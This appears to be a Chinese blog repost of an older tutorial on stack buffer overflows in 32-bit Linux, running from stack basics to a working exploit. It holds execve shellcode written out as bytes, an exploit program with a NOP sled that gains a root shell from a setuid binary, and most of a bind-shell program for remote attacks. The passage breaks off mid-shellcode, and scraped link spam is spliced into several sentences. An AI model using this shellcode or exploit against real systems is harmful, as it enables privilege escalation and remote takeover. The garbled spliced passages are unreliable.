牛骨文教育服务平台(让学习变的简单)
博文笔记

堆栈溢出从入门到提高

创建时间:2013-10-11 投稿人: 浏览次数:143

转自:http://www.jiaonan.net/html/2007/06/20070624034620915.htm


入门篇 
2007-6-24 15:46:20
 

本讲的预备知识: 
首先你应该了解intel汇编语言,熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面
的基础知识,有关这方面的计算机书籍很多,我将只是简单阐述原理,着重在应用。其次,
你应该了解linux,本讲中我们的例子将在linux上开发。 

1:首先复习一下基础知识。 

从物理上讲,堆栈是就是一段连续分配的内存空间。在一个程序中,会声明各种变量。静态
全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局部变量则分配
在堆栈里面。 

从操作上来讲,堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我
们规定内存的生长方向为向上,则栈的生长方向为向下。压栈的操作push=ESP-4,出栈的
操作是pop=ESP+4.换句话说,堆栈中老的值,其内存地址,反而比新的值要大。 
请牢牢记住这一点,因为这是堆栈溢出的基本理论依据。 

在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。如果函数有局部变量,
接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将被
丢失。但是不被清除。在函数返回的时候,弹出EBP,恢复堆栈到函数调用的地址,弹出返回
地址到EIP以继续执行程序。 

在C语言程序中,参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时候,是:
先压c,再压b,最后a.在取参数的时候,由于栈的先入后出,先取栈顶的a,再取b,最后取c。 
(PS:如果你看不懂上面这段概述,请你去看以看关于堆栈的书籍,一般的汇编语言书籍都
会详细的讨论堆栈,必须弄懂它,你才能进行下面的学习) 

2:好了,继续,让我们来看一看什么是堆栈溢出。 

2.1:运行时的堆栈分配 

堆栈溢出就是不顾堆栈中分配的局部数据块大小,向该数据块写入了过多的数据,导致数据
越界。结果覆盖了老的堆栈数据。 

比如有下面一段程序: 
程序一: 
#include <stdio.h> 
int main ( ) 

char name[8]; 
printf(/"Please type your name: /"); 
gets(name); 
printf(/"Hello, %s!/", name); 
return 0; 


编译并且执行,我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中,堆栈是怎么操作的呢? 

在main函数开始运行的时候,堆栈里面将被依次放入返回地址,EBP。 

我们用gcc -S 来获得汇编语言输出,可以看到main函数的开头部分对应如下语句: 

pushl %ebp 
movl %esp,%ebp 
subl $8,%esp 

首先他把EBP保存下来,,然后EBP等于现在的ESP,这样EBP就可以用来访问本函数的
局部变量。之后ESP减8,就是堆栈向上增长8个字节,用来存放name[]数组。现在堆栈
的布局如下: 

内存底部 内存顶部 
name EBP ret 
<------ [ ][ ][ ] 
^&name 
栈顶部 堆栈底部 

执行完gets(name)之后,堆栈如下: 

内存底部 内存顶部 
name EBP ret 
<------ [ipxodi//0 ][ ][ ] 
^&name 
栈顶部 堆栈底部 

最后,main返回,弹出ret里的地址,赋值给EIP,CPU继续执行EIP所指向的指令。 


2.2:堆栈溢出 

好,看起来一切顺利。我们再执行一次,输入ipxodiAAAAAAAAAAAAAAA,执行完
gets(name)之后,堆栈如下: 

内存底部 内存顶部 
name EBP ret 
<------ [ipxodiAA][AAAA][AAAA]....... 
^&name 
栈顶部 堆栈底部 

由于我们输入的name字符串太长,name数组容纳不下,只好向内存顶部继续写
‘A’。由于堆栈的生长方向与内存的生长方向相反,这些‘A’覆盖了堆栈的
老的元素。 如图 
我们可以发现,EBP,ret都已经被‘A’覆盖了。在main返回的时候,就会把
‘AAAA’的ASCII码:0x41414141作为返回地址,CPU会试图执行0x41414141处
的指令,结果出现错误。这就是一次堆栈溢出。 

3:如何利用堆栈溢出 

我们已经制造了一次堆栈溢出。其原理可以概括为:由于字符串处理函数
(gets,strcpy等等)没有对数组越界加以监视和限制,我们利用字符数组写
越界,覆盖堆栈中的老元素的值,就可以修改返回地址。 

在上面的例子中,这导致CPU去访问一个不存在的指令,结果出错。 

事实上,当堆栈溢出的时候,我们已经完全的控制了这个程序下一步的动作。
如果我们用一个实际存在指令地址来覆盖这个返回地址,CPU就会转而执行我
们的指令。 

在UINX系统中,我们的指令可以执行一个感染linux脚本程序技术 浅谈用delphi来编写蠕虫病毒 浅谈数据库的攻击 后门技巧 Microsoft IIS ssinc.dll缓冲区溢出漏洞 IP欺骗的原理 Nimda/尼姆达蠕虫报告_update  教学文件(感谢网友提供!) 数据完整性检测工具:Tripwire Unix网络的两个安全问题 相关链接共 145 篇 <<刷新该页面可以得到不同的关键字链接>> ,相关的链接)" href="http://www.safechina.net/article/showarticle.php?id=1003664001#" mce_href="http://www.safechina.net/article/showarticle.php?id=1003664001">shell ,这个shell将获得和被我们堆
栈溢出的程序相同的整理的关于网络欺骗攻击的内容 文件权限和注册表权限的另类使用方法 关于安全性级别 分析进入Win2000后留下的足迹 一次入侵过程 NT/2000下删日志的方法 入侵思路Windows 2000漏洞集锦 菜鸟操(五)(bfctx原创) 下一代系统日志工具(syslog-ng) 相关链接共 195 篇<<刷新该页面可以得到不同的关键字链接>> ,相关的链接)" href="http://www.safechina.net/article/showarticle.php?id=1003664001#" mce_href="http://www.safechina.net/article/showarticle.php?id=1003664001">权限 。如果这个程序是setuid的,那么我们就可以获得
root shell。 


下一讲将叙述如何书写一个shell code。 


------------------------------------------------------------

如何书写一个shell code 

一:shellcode基本算法分析 

在程序中,执行一个shell的程序是这样写的: 
shellcode.c 
------------------------------------------------------------------------ 
----- 
#include <stdio.h> 

void main() { 
char *name[2]; 

name[0] = /"/bin/sh/" 
name[1] = NULL; 
execve(name[0], name, NULL); 

------------------------------------------------------------------------ 
------ 
execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为
该程序的argv[i](argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为
第三个参数。 

我们来看以看execve的汇编代码: 
[nkl10]$ gcc -o shellcode -static shellcode.c 
[nkl10]$ gdb shellcode 
(gdb) disassemble __execve 
Dump of assembler code for function __execve: 
0x80002bc <__execve>: pushl %ebp ; 
0x80002bd <__execve+1>: movl %esp,%ebp 
;上面是函数头。 
0x80002bf <__execve+3>: pushl %ebx 
;保存ebx 
0x80002c0 <__execve+4>: movl $0xb,%eax 
;eax=0xb,eax指明第几号系统调用。 
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 
;ebp+8是第一个参数/"/bin/sh//0/" 
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 
;ebp+12是第二个参数name数组的地址 
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 
;ebp+16是第三个参数空指针的地址。 
;name[2-1]内容为NULL,用来存放返回值。 
0x80002ce <__execve+18>: int $0x80 
;执行0xb号系统调用(execve) 
0x80002d0 <__execve+20>: movl %eax,%edx 
;下面是返回值的处理就没有用了。 
0x80002d2 <__execve+22>: testl %edx,%edx 
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 
0x80002d6 <__execve+26>: negl %edx 
0x80002d8 <__execve+28>: pushl %edx 
0x80002d9 <__execve+29>: call 0x8001a34 
<__normal_errno_location> 
0x80002de <__execve+34>: popl %edx 
0x80002df <__execve+35>: movl %edx,(%eax) 
0x80002e1 <__execve+37>: movl $0xffffffff,%eax 
0x80002e6 <__execve+42>: popl %ebx 
0x80002e7 <__execve+43>: movl %ebp,%esp 
0x80002e9 <__execve+45>: popl %ebp 
0x80002ea <__execve+46>: ret 
0x80002eb <__execve+47>: nop 
End of assembler dump. 

经过以上的分析,可以得到如下的精简指令算法: 
movl $execve的系统调用号,%eax 
movl /"bin/sh//0/"的地址,%ebx 
movl name数组的地址,%ecx 
movl name[n-1]的地址,%edx 
int $0x80 ;执行系统调用(execve) 

当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。
可是,如果我们的execve执行失败,(比如没有/bin/sh这个文件),CPU就会继续
执行后续的指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调
用,结束shellcode.c的执行。 

我们来看以看exit(0)的汇编代码: 
(gdb) disassemble _exit 
Dump of assembler code for function _exit: 
0x800034c <_exit>: pushl %ebp 
0x800034d <_exit+1>: movl %esp,%ebp 
0x800034f <_exit+3>: pushl %ebx 
0x8000350 <_exit+4>: movl $0x1,%eax ;1号系统调用 
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0 
0x8000358 <_exit+12>: int $0x80 ;引发系统调用 
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 
0x800035d <_exit+17>: movl %ebp,%esp 
0x800035f <_exit+19>: popl %ebp 
0x8000360 <_exit+20>: ret 
0x8000361 <_exit+21>: nop 
0x8000362 <_exit+22>: nop 
0x8000363 <_exit+23>: nop 
End of assembler dump. 

看来exit(0)〕的汇编代码更加简单: 
movl $0x1,%eax ;1号系统调用 
movl 0,%ebx ;ebx为exit的参数0 
int $0x80 ;引发系统调用 

那么总结一下,合成的汇编代码为: 
movl $execve的系统调用号,%eax 
movl /"bin/sh//0/"的地址,%ebx 
movl name数组的地址,%ecx 
movl name[n-1]的地址,%edx 
int $0x80 ;执行系统调用(execve) 
movl $0x1,%eax ;1号系统调用 
movl 0,%ebx ;ebx为exit的参数0 
int $0x80 ;执行系统调用(exit) 

二:实现一个shellcode 

好,我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个name
数组。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次
程序都是动态加载,字符串和name数组的地址都不是固定的。 

通过JMP和call的结合,黑客们巧妙的解决了这个问题。 
------------------------------------------------------------------------ 
------ 
jmp call的偏移地址 # 2 bytes 
popl %esi # 1 byte //popl出来的是string的地址。 
movl %esi,array-offset(%esi) # 3 bytes //在string+8处构造 name数组, 

//name[0]放 string的地址 

movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7处放0作为string的结 
尾。 
movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。 
movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代码 
。 
movl %esi,%ebx # 2 bytes //ebx=string的地址 
leal array-offset,(%esi),%ecx # 3 bytes //ecx=name数组的开始地址 
leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址 
int $0x80 # 2 bytes //int 0x80是sys call 
movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代码 
movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值 
int $0x80 # 2 bytes //int 0x80是sys call 
call popl 的偏移地址 # 5 bytes //这里放call,string 的地址就会 
作 
//为返回地址压栈。 
/bin/sh 字符串 
------------------------------------------------------------------------ 
------ 
首先使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作为
call的返回地址压入堆栈。现在来到popl esi,把刚刚压入栈中的字符串地址取出来,
就获得了字符串的真实地址。然后,在字符串的第8个字节赋0,作为串的结尾。后面
8个字节,构造name数组(两个整数,八个字节)。 

我们可以写shellcode了。先写出汇编源程序。 
shellcodeasm.c 
------------------------------------------------------------------------ 
------ 
void main() { 
__asm__(/" 
jmp 0x2a # 3 bytes 
popl %esi # 1 byte 
movl %esi,0x8(%esi) # 3 bytes 
movb $0x0,0x7(%esi) # 4 bytes 
movl $0x0,0xc(%esi) # 7 bytes 
movl $0xb,%eax # 5 bytes 
movl %esi,%ebx # 2 bytes 
leal 0x8(%esi),%ecx # 3 bytes 
leal 0xc(%esi),%edx # 3 bytes 
int $0x80 # 2 bytes 
movl $0x1, %eax # 5 bytes 
movl $0x0, %ebx # 5 bytes 
int $0x80 # 2 bytes 
call -0x2f # 5 bytes 
.string ///"/bin/sh///" # 8 bytes 
/"); 

------------------------------------------------------------------------ 
------ 
编译后,用gdb的b/bx 〔地址〕命令可以得到十六进制的表示。 
下面,写出测试程序如下:(注意,这个test程序是测试shellcode的基本程序) 

test.c 
------------------------------------------------------------------------ 
------ 

char shellcode[] = 
/"//xeb//x2a//x5e//x89//x76//x08//xc6//x46//x07//x00//xc7//x46//x0c//x00//x00//x00/" 
/"//x00//xb8//x0b//x00//x00//x00//x89//xf3//x8d//x4e//x08//x8d//x56//x0c//xcd//x80/" 
/"//xb8//x01//x00//x00//x00//xbb//x00//x00//x00//x00//xcd//x80//xe8//xd1//xff//xff/" 
/"//xff//x2f//x62//x69//x6e//x2f//x73//x68//x00//x89//xec//x5d//xc3/" 

void main() { 
int *ret; 

ret = (int *)&ret + 2; //ret 等于main()的返回地址 
//(+2是因为:有pushl ebp ,否则加1就可以了。) 

(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地 
址。 



------------------------------------------------------------------------ 
------ 
------------------------------------------------------------------------ 
------ 
[nkl10]$ gcc -o test test.c 
[nkl10]$ ./test 
$ exit 
[nkl10]$ 
------------------------------------------------------------------------ 
------ 
我们通过一个shellcode数组来存放shellcode,当我们把程序(test.c)的返回地址
ret设置成shellcode数组的开始地址时,程序在返回的时候就会去执行我们的shellcode,
从而我们得到了一个shell。 

运行结果,得到了bsh的提示符$,表明成功的开了一个shell。 

这里有必要解释的是,我们把shellcode作为一个全局变量开在了数据段而不是作为
一段代码。是因为在操作系统中,程序代码段的内容是具有只读属性的。不能修改。
而我们的代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分,所以不能放在
代码段。 

这个shellcode可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,关
键在于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时候,
以/"//0/" 
为字符串结尾。遇//0就结束了写操作。而我们的shellcode串中有大量的//0字符。因此, 
对于gets(name)来说,上面的shellcode是不可行的。我们的shellcode是不能有//0字符 
出现的。 

因此,有些指令需要修改一下: 
旧的指令 新的指令 
-------------------------------------------------------- 
movb $0x0,0x7(%esi) xorl %eax,%eax 
molv $0x0,0xc(%esi) movb %eax,0x7(%esi) 
movl %eax,0xc(%esi) 
-------------------------------------------------------- 
movl $0xb,%eax movb $0xb,%al 
-------------------------------------------------------- 
movl $0x1, %eax xorl %ebx,%ebx 
movl $0x0, %ebx movl %ebx,%eax 
inc %eax 
-------------------------------------------------------- 

最后的shellcode为: 
------------------------------------------------------------------------ 
---- 
char shellcode[]= 
00 /"//xeb//x1f/" /* jmp 0x1f */ 
02 /"//x5e/" /* popl %esi */ 
03 /"//x89//x76//x08/" /* movl %esi,0x8(%esi) */ 
06 /"//x31//xc0/" /* xorl %eax,%eax */ 
08 /"//x88//x46//x07/" /* movb %eax,0x7(%esi) */ 
0b /"//x89//x46//x0c/" /* movl %eax,0xc(%esi) */ 
0e /"//xb0//x0b/" /* movb $0xb,%al */ 
10 /"//x89//xf3/" /* movl %esi,%ebx */ 
12 /"//x8d//x4e//x08/" /* leal 0x8(%esi),%ecx */ 
15 /"//x8d//x56//x0c/" /* leal 0xc(%esi),%edx */ 
18 /"//xcd//x80/" /* int $0x80 */ 
1a /"//x31//xdb/" /* xorl %ebx,%ebx */ 
1c /"//x89//xd8/" /* movl %ebx,%eax */ 
1e /"//x40/" /* inc %eax */ 
1f /"//xcd//x80/" /* int $0x80 */ 
21 /"//xe8//xdc//xff//xff//xff/" /* call -0x24 */ 
26 /"/bin/sh/" /* .string ///"/bin/sh///" */ 
------------------------------------------------------------------------ 
---- 

三:利用堆栈溢出获得shell 

好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已经作完, 
我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。 
overflow1.c 
------------------------------------------------------------------------ 
------ 
char shellcode[] = 

/"//xeb//x1f//x5e//x89//x76//x08//x31//xc0//x88//x46//x07//x89//x46//x0c//xb0//x0b/" 

/"//x89//xf3//x8d//x4e//x08//x8d//x56//x0c//xcd//x80//x31//xdb//x89//xd8//x40//xcd/" 
/"//x80//xe8//xdc//xff//xff//xff/bin/sh/" 

char large_string[128]; 

void main() { 
char buffer[96]; 
int i; 
long *long_ptr = (long *) large_string; 

for (i = 0; i < 32; i++) 
*(long_ptr + i) = (int) buffer; 

for (i = 0; i < strlen(shellcode); i++) 
large_string[i] = shellcode[i]; 

strcpy(buffer,large_string); 

------------------------------------------------------------------------ 
------ 
在执行完strcpy后,堆栈内容如下所示: 

内存底部 内存顶部 
buffer EBP ret 
<------ [SSS...SSSA ][A ][A ]A..A 
^&buffer 
栈顶部 堆栈底部 
注:S表示shellcode。 
A表示shellcode的地址。 

这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了我们
的shellcode。 


----------------------------------------------------------

利用堆栈溢出获得shell 

现在让我们进入最刺激的一讲,利用别人的程序的堆栈溢出获得rootshell。我们 
将面对 
一个有strcpy堆栈溢出“求职信”病毒/蠕虫行为深入分析 非法格式信息报头导致Msn Messenger崩溃漏洞 微软警告SQL Server存在安全漏洞 Apple Mac OS X PPP 验证协议可泄露漏洞Security Issues in Perl Scripts  unicode编码漏洞全攻略-6 Windows 2000缓冲区溢出入门xloadimage 缓冲区溢出漏洞 FolkQQ专业黑软回顾 Windows NT攻击大全 相关链接共 205 篇 <<刷新该页面可以得到不同的关键字链接>> ,相关的链接)" href="http://www.safechina.net/article/showarticle.php?id=1003664001#" mce_href="http://www.safechina.net/article/showarticle.php?id=1003664001">漏洞 的程序,利用前面说过的方法来得到shell。 

回想一下前面所讲,我们通过一个shellcode数组来存放shellcode,利用程序中的 
strcpy 
函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的 
开始地 
址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的 
shellcode,从而我们得到了一个shell。 

当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件 
事: 
1:把我们的shellcode提供给他,让他可以访问shellcode。 
2:修改他的返回地址为shellcode的入口地址。 

为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer 
的地址。 
因为当我们把shellcode提供给strcpy之后,buffer的开始地址就是shellcode的开 
始地址 
,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。 

我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是 
相同的 
。我们可以写一个程序,获得运行时的堆栈起始地址,这样,我们就知道了目标程 
序堆栈 
的开始地址。 

下面这个函数,用eax返回当前程序的堆栈指针。(所有C函数的返回值都放在eax 
寄存器 
里面): 
------------------------------------------------------------------------ 
------ 
unsigned long get_sp(void) { 
__asm__(/"movl %esp,%eax/"); 

------------------------------------------------------------------------ 
------ 

我们在知道了堆栈开始地址后,buffer相对于堆栈开始地址的偏移,是他程序员自 
己 
写出来的程序决定的,我们不知道,只能靠猜测了。不过,一般的程序堆栈大约是 
几K 
左右。所以,这个buffer与上面得到的堆栈地址,相差就在几K之间。 

显然猜地址这是一件很难的事情,从0试到10K,会把人累死的。 


前面我们用来覆盖堆栈的溢出字符串为: 
SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
现在,为了提高命中率,我们对他进行如下改进: 
用来溢出的字符串变为: 
NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA 
其中: 
N为NOP.NOP指令意思是什么都不作,跳过一个CPU指令周期。在intel机器上, 
NOP指令的机器码为0x90。 
S为shellcode。 
A为我们猜测的buffer的地址。这样,A猜大了也可以落在N上,并且最终会执行到 
S. 
这个改进大大提高了猜测的命中率,有时几乎可以一次命中。:))) 

好了,枯燥的算法分析完了,下面就是利用./vulnerable1的堆栈溢出漏洞来得到 
shell的程序: 
exploit1.c 
------------------------------------------------------------------------ 
---- 
#include<stdio.h> 
#include<stdlib.h> 

#define OFFSET 0 
#define RET_POSITION 1024 
#define RANGE 20 
#define NOP 0x90 

char shellcode[]= 
/"//xeb//x1f/" /* jmp 0x1f */ 
/"//x5e/" /* popl %esi */ 
/"//x89//x76//x08/" /* movl %esi,0x8(%esi) */ 
/"//x31//xc0/" /* xorl %eax,%eax */ 
/"//x88//x46//x07/" /* movb %eax,0x7(%esi) */ 
/"//x89//x46//x0c/" /* movl %eax,0xc(%esi) */ 
/"//xb0//x0b/" /* movb $0xb,%al */ 
/"//x89//xf3/" /* movl %esi,%ebx */ 
/"//x8d//x4e//x08/" /* leal 0x8(%esi),%ecx */ 
/"//x8d//x56//x0c/" /* leal 0xc(%esi),%edx */ 
/"//xcd//x80/" /* int $0x80 */ 
/"//x31//xdb/" /* xorl %ebx,%ebx */ 
/"//x89//xd8/" /* movl %ebx,%eax */ 
/"//x40/" /* inc %eax */ 
/"//xcd//x80/" /* int $0x80 */ 
/"//xe8//xdc//xff//xff//xff/" /* call -0x24 */ 
/"/bin/sh/" /* .string ///"/bin/sh///" */ 

unsigned long get_sp(void) 

__asm__(/"movl %esp,%eax/"); 


main(int argc,char **argv) 

char buff[RET_POSITION+RANGE+1],*ptr; 
long addr; 
unsigned long sp; 
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; 
int i; 

if(argc>1) 
offset=atoi(argv[1]); 

sp=get_sp(); 
addr=sp-offset; 

for(i=0;i<bsize;i+=4) 
*((long *)&(buff[i]))=addr; 

for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++) 
buff[i]=NOP; 

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; 
for(i=0;i<strlen(shellcode);i++) 
*(ptr++)=shellcode[i]; 
buff[bsize-1]=/"//0/" 
//现在buff的内容为 
//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA//0 

printf(/"Jump to 0x%08x//n/",addr); 

execl(/"./vulnerable1/",/"vulnerable1/",buff,0); 

------------------------------------------------------------------------ 
---- 
execl用来执行目标程序./vulnerable1,buff是我们精心制作的溢出字符串, 
作为./vulnerable1的参数提供。 
以下是执行的结果: 
------------------------------------------------------------------------ 
---- 
[nkl10]$ ls -l vulnerable1 
-rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1* 
[nkl10]$ ls -l exploit1 
-rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1* 
[nkl10]$ ./exploit1 
Jump to 0xbfffec64 
Segmentation fault 
[nkl10]$ ./exploit1 500 
Jump to 0xbfffea70 
bash# whoami 
root 

bash# 
------------------------------------------------------------------------ 
---- 
恭喜,恭喜,你获得了root shell。 

下一讲,我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的 
shellcode。 

--------------------------------------------------------------

远程堆栈溢出 

我们用堆栈溢出攻击守护进程daemon时,原理和前面提到过的本地攻击是相同的。 
我们 
必须提供给目标daemon一个溢出字符串,里面包含了shellcode。希望敌人在复制 
(或者 
别的串处理操作)这个串的时候发生堆栈溢出,从而执行我们的shellcode。 

普通的shellcode将启动一个子进程执行sh,自己退出。对于我们这些远程的攻击 
者来说 
,由于我们不在本地,这个sh我们并没有得到。 

因此,对于远程使用者,我们传过去的shellcode就必须负担起打开一个socket, 
然后 
listen我们的连接,给我们一个远程shell的责任。 

如何开一个远程shell呢?我们先申请一个socketfd,使用30464(随便,多少都行 
)作为 
这个socket连接的端口,bind他,然后在这个端口上等待连接listen。当有连接进 
来后, 
开一个子shell,把连接的clientfd作为子shell的stdin,stdout,stderr。这样, 
我们 
远程的使用者就有了一个远程shell(跟telnet一样啦)。 

||||||下面就是这个算法的C实现: 

opensocket.c 
------------------------------------------------------------------------ 
---- 
1#include<unistd.h> 
2#include<sys/socket.h> 
3#include<netinet/in.h> 

4int soc,cli,soc_len; 
5struct sockaddr_in serv_addr; 
6struct sockaddr_in cli_addr; 

7int main() 
8{ 
9 if(fork()==0) 
10 { 
11 serv_addr.sin_family=AF_INET; 
12 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY); 
13 serv_addr.sin_port=htons(30464); 
14 soc=socket(AF_INET,SOCK_STREAM,IPPROTO_一个多功能linux 后门的源代码 OpenBSD可加载内核模块编程完全指南 用SSL构建一个安全的Apache 七个维护服务器安全的技巧 port list(from neohapsis) SSH使用及协议分析 下一代系统日志工具(syslog-ng) IP端口对照表(中文注释)Linux下的网络扫描利器:NMAP TCP Chargen DoS攻击及其对策 相关链接共 162 篇 <<刷新该页面可以得到不同的关键字链接>> ,相关的链接)" href="http://www.safechina.net/article/showarticle.php?id=1003664001#" mce_href="http://www.safechina.net/article/showarticle.php?id=1003664001">TCP ); 
15 bind(soc,(struct sockaddr *)&serv_addr, 
sizeof(serv_addr)); 
16 listen(soc,1); 
17 soc_len=sizeof(cli_addr); 
18 cli=accept(soc,(struct sockaddr *)&cli_addr, 
&soc_len); 
19 dup2(cli,0); 
20 dup2(cli,1); 
21 dup2(cli,2); 
22 execl(/"/bin/sh/",/"sh/",0); 
23 } 
24} 
------------------------------------------------------------------------ 
---- 
第9行的fork()函数创建了一个子进程,对于父进程fork()的返回值是子进程的 
pid, 
对于子进程,fork()的返回值是0.本程序中,父进程执行了一个fork就退出了,子 
进程 
作为socket通信的执行者继续下面的操作。 

10到23行都是子进程所作的事情。首先调用socket获得一个文件描述符soc,然后 
调用 
bind()绑定30464端口,接下来开始监听listen().程序挂起在accept等待客户连接 
。 

当有客户连接时,程序被唤醒,进行accept,然后把自己的标准输入,标准输出, 

标准错误输出重定向到客户的文件描述符上,开一个子sh,这样,子shell继承了 

这个进程的文件描述符,对于客户来说,就是得到了一个远程shell。 

看懂了吗?嗯,对,这是一个比较简单的socket程序,很好理解的。好,我们使用 

gdb来反编译上面的程序: 

[nkl10]$ gcc -o opensocket -static opensocket.c 
[nkl10]$ gdb opensocket 
GNU gdb 4.17 
Copyright 1998 Free Software Foundation, Inc. 
GDB is free software, covered by the GNU General Public License, and you 
are 
welcome to change it and/or distribute copies of it under certain 
conditions. 
Type /"show copying/" to see the conditions. 
There is absolutely no warranty for GDB. Type /"show warranty/" for 
details. 
This GDB was configured as /"i386-redhat-linux/"... 
(gdb) disassemble fork 
Dump of assembler code for function fork: 
0x804ca90 <fork>: movl $0x2,%eax 
0x804ca95 <fork+5>: int $0x80 
0x804ca97 <fork+7>: cmpl $0xfffff001,%eax 
0x804ca9c <fork+12>: jae 0x804cdc0 <__syscall_error> 
0x804caa2 <fork+18>: ret 
0x804caa3 <fork+19>: nop 
0x804caa4 <fork+20>: nop 
0x804caa5 <fork+21>: nop 
0x804caa6 <fork+22>: nop 
0x804caa7 <fork+23>: nop 
0x804caa8 <fork+24>: nop 
0x804caa9 <fork+25>: nop 
0x804caaa <fork+26>: nop 
0x804caab <fork+27>: nop 
0x804caac <fork+28>: nop 
0x804caad <fork+29>: nop 
0x804caae <fork+30>: nop 
0x804caaf <fork+31>: nop 
End of assembler dump. 
(gdb) disassemble socket 
Dump of assembler code for function socket: 
0x804cda0 <socket>: movl %ebx,%edx 
0x804cda2 <socket+2>: movl $0x66,%eax 
0x804cda7 <socket+7>: movl $0x1,%ebx 
0x804cdac <socket+12>: leal 0x4(%esp,1),%ecx 
0x804cdb0 <socket+16>: int $0x80 
0x804cdb2 <socket+18>: movl %edx,%ebx 
0x804cdb4 <socket+20>: cmpl $0xffffff83,%eax 
0x804cdb7 <socket+23>: jae 0x804cdc0 <__syscall_error> 
0x804cdbd <socket+29>: ret 
0x804cdbe <socket+30>: nop 
0x804cdbf <socket+31>: nop 
End of assembler dump. 
(gdb) disassemble bind 
Dump of assembler code for function bind: 
0x804cd60 <bind>: movl %ebx,%edx 
0x804cd62 <bind+2>: movl $0x66,%eax 
0x804cd67 <bind+7>: movl $0x2,%ebx 
0x804cd6c <bind+12>: leal 0x4(%esp,1),%ecx 
0x804cd70 <bind+16>: int $0x80 
0x804cd72 <bind+18>: movl %edx,%ebx 
0x804cd74 <bind+20>: cmpl $0xffffff83,%eax 
0x804cd77 <bind+23>: jae 0x804cdc0 <__syscall_error> 
0x804cd7d <bind+29>: ret 
0x804cd7e <bind+30>: nop 
0x804cd7f <bind+31>: nop 
End of assembler dump. 
(gdb) disassemble listen 
Dump of assembler code for function listen: 
0x804cd80 <listen>: movl %ebx,%edx 
0x804cd82 <listen+2>: movl $0x66,%eax 
0x804cd87 <listen+7>: movl $0x4,%ebx 
0x804cd8c <listen+12>: leal 0x4(%esp,1),%ecx 
0x804cd90 <listen+16>: int $0x80 
0x804cd92 <listen+18>: movl %edx,%ebx 
0x804cd94 <listen+20>: cmpl $0xffffff83,%eax 
0x804cd97 <listen+23>: jae 0x804cdc0 <__syscall_error> 
0x804cd9d <listen+29>: ret 
0x804cd9e <listen+30>: nop 
0x804cd9f <listen+31>: nop 
End of assembler dump. 
(gdb) disassemble accept 
Dump of assembler code for function __accept: 
0x804cd40 <__accept>: movl %ebx,%edx 
0x804cd42 <__accept+2>: movl $0x66,%eax 
0x804cd47 <__accept+7>: movl $0x5,%ebx 
0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx 
0x804cd50 <__accept+16>: int $0x80 
0x804cd52 <__accept+18>: movl %edx,%ebx 
0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax 
0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error> 
0x804cd5d <__accept+29>: ret 
0x804cd5e <__accept+30>: nop 
0x804cd5f <__accept+31>: nop 
End of assembler dump. 
(gdb) disassemble dup2 
Dump of assembler code for function dup2: 
0x804cbe0 <dup2>: movl %ebx,%edx 
0x804cbe2 <dup2+2>: movl 0x8(%esp,1),%ecx 
0x804cbe6 <dup2+6>: movl 0x4(%esp,1),%ebx 
0x804cbea <dup2+10>: movl $0x3f,%eax 
0x804cbef <dup2+15>: int $0x80 
0x804cbf1 <dup2+17>: movl %edx,%ebx 
0x804cbf3 <dup2+19>: cmpl $0xfffff001,%eax 
0x804cbf8 <dup2+24>: jae 0x804cdc0 <__syscall_error> 
0x804cbfe <dup2+30>: ret 
0x804cbff <dup2+31>: nop 
End of assembler dump. 

现在可以写上面c代码的汇编语句了。 


fork()的汇编代码 
------------------------------------------------------------------------ 
---- 
char code[]= 
/"//x31//xc0/" /* xorl %eax,%eax */ 
